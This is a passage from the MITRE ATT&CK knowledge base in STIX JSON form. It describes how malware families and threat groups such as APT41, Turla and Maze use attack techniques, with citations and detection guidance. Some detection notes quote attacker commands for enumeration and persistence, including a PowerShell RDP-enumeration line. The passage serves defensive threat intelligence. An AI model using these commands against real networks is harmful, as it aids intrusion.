2017)","relationship_type":"uses","source_ref":"malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--207f1084-a466-4e08-a157-886db373f09a","type":"relationship","created":"2020-04-29T18:44:04.977Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos PoetRAT April 2020","url":"https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html","description":"Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."}],"modified":"2020-04-29T18:44:04.977Z","description":"[PoetRAT](https://attack.mitre.org/software/S0428) used TLS to encrypt communications over port 143(Citation: Talos PoetRAT April 2020)","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--208b9e1d-3de9-4de8-b8d4-e3a7ff3c72ec","created":"2023-01-03T19:12:26.352Z","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-03T19:12:26.352Z","description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) used `whoami` to gather information from victim machines.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"campaign--ba6dfa37-f401-4140-88b0-8938f2895e61","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--208c8563-1616-4c9a-8414-58423f17ac4c","type":"relationship","created":"2022-03-30T14:26:51.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.858Z","description":"Monitor executed commands and arguments for logon scripts","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--c63a348e-ffc2-486a-b9d9-d7f11ec54d99","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--20904798-df45-48a6-8428-9e4fb913f6ae","type":"relationship","created":"2019-04-16T19:00:49.595Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification – LockerGoga Ransomware. Retrieved April 16, 2019.","url":"https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/","source_name":"CarbonBlack LockerGoga 2019"}],"modified":"2019-10-10T12:16:50.240Z","description":"[LockerGoga](https://attack.mitre.org/software/S0372) has been observed deleting its original launcher after execution.(Citation: CarbonBlack LockerGoga 2019)","relationship_type":"uses","source_ref":"malware--5af7a825-2d9f-400d-931a-e00eb9e27f48","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--209075a3-e836-4894-b931-663bb785e96b","type":"relationship","created":"2019-04-23T16:12:37.579Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub PoshC2","url":"https://github.com/nettitude/PoshC2_Python","description":"Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}],"modified":"2019-09-16T17:23:49.027Z","description":"[PoshC2](https://attack.mitre.org/software/S0378) contains an implementation of [netstat](https://attack.mitre.org/software/S0104) to enumerate TCP and UDP connections.(Citation: GitHub PoshC2)","relationship_type":"uses","source_ref":"tool--4b57c098-f043-4da2-83ef-7588a6d426bc","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2095d4fa-73b6-4a67-ac25-394f64d122d5","created":"2024-01-23T20:34:40.441Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-23T20:34:40.441Z","description":"[ToddyCat](https://attack.mitre.org/groups/G1022) has run scripts to collect documents from targeted hosts.(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2098e2bc-2b20-463a-9862-20fe68268cfc","type":"relationship","created":"2020-11-02T19:03:11.902Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"VirusBulletin Kimsuky October 2019","url":"https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/","description":"Kim, J. et al. (2019, October). KIMSUKY GROUP: TRACKING THE KING OF THE SPEAR PHISHING. Retrieved November 2, 2020."}],"modified":"2020-11-02T19:03:11.902Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) created and used a mailing toolkit to use in spearphishing attacks.(Citation: VirusBulletin Kimsuky October 2019)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--209d5669-2e7e-4621-905a-f22ba07f06d6","created":"2022-08-11T22:54:46.410Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Checkpoint MosesStaff Nov 2021","description":"Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022.","url":"https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T19:23:40.115Z","description":"[Moses Staff](https://attack.mitre.org/groups/G1009) has collected the domain name of a compromised network.(Citation: Checkpoint MosesStaff Nov 2021)","relationship_type":"uses","source_ref":"intrusion-set--4c4a7846-45d5-4761-8eea-725fa989914c","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--209fe032-42b5-4268-85bf-4db099e06d92","type":"relationship","created":"2021-01-14T20:08:49.556Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft GALLIUM December 2019","url":"https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/","description":"MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."}],"modified":"2021-01-14T20:08:49.556Z","description":"[BlackMould](https://attack.mitre.org/software/S0564) can run cmd.exe with parameters.(Citation: Microsoft GALLIUM December 2019)","relationship_type":"uses","source_ref":"malware--63c4511b-2d6e-4bb2-b582-e2e99a8a467d","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--20a02fc6-3cce-4ce6-bf76-2f82c2a88232","type":"relationship","created":"2020-10-20T15:52:50.002Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-17T16:17:55.710Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--20a3c703-46d5-4038-9b3f-9afe15d84023","created":"2023-03-03T21:02:56.774Z","revoked":false,"external_references":[{"source_name":"Google Iran Threats October 2021","description":"Bash, A. (2021, October 14). Countering threats from Iran. Retrieved January 4, 2023.","url":"https://blog.google/threat-analysis-group/countering-threats-iran/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-03T21:02:56.774Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has collected location information from visitors to their phishing sites.(Citation: Google Iran Threats October 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--ed730f20-0e44-48b9-85f8-0e2adeb76867","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--20a6ba86-f1a9-4dc8-98fa-7ab5a2f0f711","created":"2023-03-28T20:34:48.554Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-28T20:36:04.810Z","description":"Monitor executed commands (`lsmod`, `driverquery`, etc.) with arguments highlighting potentially malicious attempts to enumerate device drivers.","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--215d9700-5881-48b8-8265-6449dbb7195d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--20a9afe3-de36-428e-a054-cce863b2f4e9","created":"2023-04-10T19:00:01.414Z","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T19:00:01.414Z","description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) used `SCHTASKS /Change` to modify legitimate scheduled tasks to run malicious code.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"campaign--ba6dfa37-f401-4140-88b0-8938f2895e61","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--20aaed95-65ce-4a0f-9e25-4a4156889a84","created":"2021-12-08T19:04:25.603Z","x_mitre_version":"1.0","external_references":[{"source_name":"Gigamon Berserk Bear October 2021","url":"https://vblocalhost.com/uploads/VB2021-Slowik.pdf","description":"Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE’S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has compromised legitimate websites to host C2 and malware modules.(Citation: Gigamon Berserk Bear October 2021)","modified":"2022-04-18T17:50:58.605Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--20ac9204-3ee3-454d-9d53-d5caa9ec582e","type":"relationship","created":"2020-05-06T21:01:23.653Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Attor Oct 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:01:23.653Z","description":"[Attor](https://attack.mitre.org/software/S0438)'s dispatcher disguises itself as a legitimate task (i.e., the task name and description appear legitimate).(Citation: ESET Attor Oct 2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--20acec2a-ce61-4794-82f9-79fa778e7a7f","created":"2022-04-15T12:20:19.146Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft Actinium February 2022","url":"https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/","description":"Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Pteranodon](https://attack.mitre.org/software/S0147) has used various API calls.(Citation: Microsoft Actinium February 2022)","modified":"2022-04-15T12:20:19.146Z","relationship_type":"uses","source_ref":"malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--20adc21a-7721-470f-82d4-8a4cfb59a8c1","type":"relationship","created":"2021-03-15T19:28:36.420Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Eclypsium Trickboot December 2020","url":"https://eclypsium.com/wp-content/uploads/2020/12/TrickBot-Now-Offers-TrickBoot-Persist-Brick-Profit.pdf","description":"Eclypsium, Advanced Intelligence. (2020, December 1). TRICKBOT NOW OFFERS ‘TRICKBOOT’: PERSIST, BRICK, PROFIT. Retrieved March 15, 2021."}],"modified":"2021-03-15T19:28:36.420Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) can implant malicious code into a compromised device's firmware.(Citation: Eclypsium Trickboot December 2020)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--20b14e6f-685d-4b88-9ab7-40f7beb99ec4","created":"2022-09-26T15:47:28.393Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T17:50:15.295Z","description":"[FunnyDream](https://attack.mitre.org/software/S1044) can stage collected information including screen captures and logged keystrokes locally.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--20b90b04-4ce1-4e9a-9dbb-9fc93569d3e1","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Turla Mosquito May 2018","description":"ESET Research. (2018, May 22). Turla Mosquito: A shift towards more generic tools. Retrieved July 3, 2018.","url":"https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/"}],"modified":"2020-03-20T19:12:22.532Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has used shellcode to download Meterpreter after compromising a victim.(Citation: ESET Turla Mosquito May 2018)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--20b9b6a1-e00a-4e79-99eb-dae27d85344a","created":"2022-08-03T15:05:39.091Z","x_mitre_version":"0.1","external_references":[{"source_name":"Malwarebytes Saint Bot April 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/","description":"Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Saint Bot](https://attack.mitre.org/software/S1018) can collect the IP address of a victim machine.(Citation: Malwarebytes Saint Bot April 2021)","modified":"2022-08-03T15:05:39.091Z","relationship_type":"uses","source_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--20c01d16-fdd8-4f6b-ba0c-d81b70329440","type":"relationship","created":"2020-03-09T14:07:54.891Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-09T14:07:54.891Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--20c30f4a-ff6f-4861-a88a-77d437374994","type":"relationship","created":"2020-05-06T17:47:43.602Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"JPCert BlackTech Malware September 2019","url":"https://blogs.jpcert.or.jp/en/2019/09/tscookie-loader.html","description":"Tomonaga, S.. (2019, September 18). Malware Used by BlackTech after Network Intrusion. Retrieved May 6, 2020."}],"modified":"2020-07-07T14:05:07.581Z","description":"[TSCookie](https://attack.mitre.org/software/S0436) can use ICMP to receive information on the destination server.(Citation: JPCert BlackTech Malware September 2019)","relationship_type":"uses","source_ref":"malware--76ac7989-c5cc-42e2-93e3-d6c476f01ace","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--20c4cb30-5393-41de-9354-46073a87d906","created":"2022-03-30T14:26:51.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-14T19:08:42.477Z","description":"Monitor executed commands and arguments that may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. For network devices, monitor executed commands in AAA logs, especially those run by unexpected or unauthorized users.\n\nWindows PowerShell log Event ID 4104 (PS script execution) can be used to capture PowerShell script block contents which may contain commands used as a precursor to [RDP Hijacking](https://attack.mitre.org/techniques/T1563/002). For example, the following command in a PowerShell script block may be used to enumerate the systems on a network which have RDP access: Find-DomainLocalGroupMember -GroupName \"Remote Desktop Users\" | select -expand ComputerName. ","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--20c556ad-adcd-4b60-bde1-c3eff06c0593","type":"relationship","created":"2019-06-28T14:58:02.559Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf","source_name":"ESET LightNeuron May 2019"}],"modified":"2019-07-16T17:12:00.689Z","description":"[LightNeuron](https://attack.mitre.org/software/S0395) can be configured to exfiltrate data during nighttime or working hours.(Citation: ESET LightNeuron May 2019)","relationship_type":"uses","source_ref":"malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb","target_ref":"attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--20c7d1a2-be94-4f58-83a9-7eb9e05c4449","type":"relationship","created":"2017-05-31T21:33:27.072Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf","description":"FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.","source_name":"FireEye FIN6 April 2016"}],"modified":"2020-03-17T01:19:55.563Z","description":"[FIN6](https://attack.mitre.org/groups/G0037) used the Plink command-line utility to create SSH tunnels to C2 servers.(Citation: FireEye FIN6 April 2016)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--20cc9dc5-61ad-4fbb-86da-4861e60b98e4","type":"relationship","created":"2019-07-19T14:59:44.180Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-06-09T18:49:46.545Z","description":"[Execution Guardrails](https://attack.mitre.org/techniques/T1480) likely should not be mitigated with preventative controls because it may protect unintended targets from being compromised. If targeted, efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior if compromised.","relationship_type":"mitigates","source_ref":"course-of-action--787fb64d-c87b-4ee5-a341-0ef17ec4c15c","target_ref":"attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--20cedb41-1f7b-44df-8d49-5d6fc166c557","type":"relationship","created":"2020-10-19T13:55:56.024Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sophos Maze VM September 2020","url":"https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/","description":"Brandt, A., Mackenzie, P.. (2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. Retrieved October 9, 2020."}],"modified":"2020-10-19T13:55:56.024Z","description":"[Maze](https://attack.mitre.org/software/S0449) operators have created scheduled tasks masquerading as \"Windows Update Security\", \"Windows Update Security Patches\", and \"Google Chrome Security Update\" designed to launch the ransomware.(Citation: Sophos Maze VM September 2020) ","relationship_type":"uses","source_ref":"malware--d9f7383c-95ec-4080-bbce-121c9384457b","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--20cef366-c091-415f-b53e-7dba033f324d","created":"2024-07-01T18:46:22.904Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T18:46:22.904Z","description":"[LunarWeb](https://attack.mitre.org/software/S1141) can send short C2 commands, up to 512 bytes, encrypted with RSA-4096.(Citation: ESET Turla Lunar toolset May 